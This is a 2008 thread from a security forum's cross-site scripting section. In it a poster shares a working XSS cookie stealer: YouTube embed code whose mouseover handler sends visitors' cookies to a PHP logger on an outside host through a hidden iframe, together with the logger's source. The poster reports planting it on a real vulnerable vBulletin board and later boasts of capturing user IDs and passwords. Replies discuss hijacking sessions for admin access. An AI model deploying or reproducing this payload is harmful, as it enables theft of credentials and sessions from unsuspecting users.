 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 572
 Members: 0
 Total: 572
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
XSS cookie stealer in youtube ! |
|
 Posted: Sat Apr 05, 2008 1:50 pm |
 |
|
| NEUR0BASHER |
| Regular user |
 |
|
| Joined: Apr 05, 2008 |
| Posts: 6 |
|
|
|
 |
|
 |
|
This is a simple but effective XSS link hidden in a youtube embedding code. When the user hovers the video with the mouse all cookie data, referrer url, ip address and browser agent info will be sent to "link.php" (in a hidden iframe). The php file link.php writes to the logfile "log.dat".
This is the modifief youtube code:
| Code: | | <object width="425" height="355" onmouseover="hideMe.location.href='http://yoursite.com/link.php?data='+document.cookie"><param name="movie" value="http://www.youtube.com/v/PVQaixvlMwo&hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/PVQaixvlMwo&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object><iframe name="hideMe" width=1 height=1 style="visibility: hidden"> |
Here is the link.php source:
| Code: | <?
// read old log
$file = "log.dat";
$test= fopen ($file, "r+");
$text = fread ($test, filesize ($file));
fclose ($test);
// add new log
$ref=@$HTTP_REFERER;
$agent=@$HTTP_USER_AGENT;
$ip=@$REMOTE_ADDR;
if (isset($data)){
$file = fopen("log.dat", "w");
fputs($file,"\nReferrer: $ref\nIP: $ip\nAgent: $agent\n$data\n\n$text".$text."");
}
?> |
I have just posted this modified youtube video to a XSS vulnerable vBulletin 3.6.9 board and I am waiting till the logfile will raise up. |
|
|
|
|
|
|
|
|
| Posted: Sun Apr 06, 2008 3:31 am |
|
|
| gibbocool |
| Advanced user |
 |
|
| Joined: Jan 22, 2008 |
| Posts: 208 |
|
|
|
|
|
|
|
Could you explain the details of how you got xss to work in vbulletin?
Also, can't you save the cookie and be able to use other people's session to get admin access?
edit ok found the detials..
http://www.waraxe.us/ftopict-2482-.html |
|
|
|
|
| Posted: Wed May 21, 2008 2:00 am |
|
|
| PoisonedV |
| Regular user |
|
|
| Joined: Jan 19, 2008 |
| Posts: 18 |
|
|
|
|
|
|
|
| I don't see how this would be implemented. They would have to have html enabled, correct? |
|
|
|
|
| Posted: Wed May 21, 2008 10:19 am |
|
|
| gibbocool |
| Advanced user |
|
|
| Joined: Jan 22, 2008 |
| Posts: 208 |
|
|
|
|
|
|
|
| Yes the forum or message board would need to have html enabled. |
|
|
|
|
| Posted: Wed Jun 11, 2008 5:45 pm |
|
|
| Kazuma |
| Beginner |
|
|
| Joined: May 17, 2008 |
| Posts: 3 |
| Location: Zwollywood |
|
|
|
|
|
|
If I'm right vBulletin has a function (or plugin) which lets you post Youtube video's by posting the embeded code in the post.
Maybe it surpasses the filter? |
|
|
|
|
| Posted: Thu Jul 31, 2008 2:04 am |
|
|
| NEUR0BASHER |
| Regular user |
|
|
| Joined: Apr 05, 2008 |
| Posts: 6 |
|
|
|
|
|
|
|
I tried that on vBulletin® Version 3.7.x with enabled HTML
the cookie included the USER ID and USER PASSWORD
PWNED
greetinx go to my
pwnographic friends! |
|
|
|
|
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
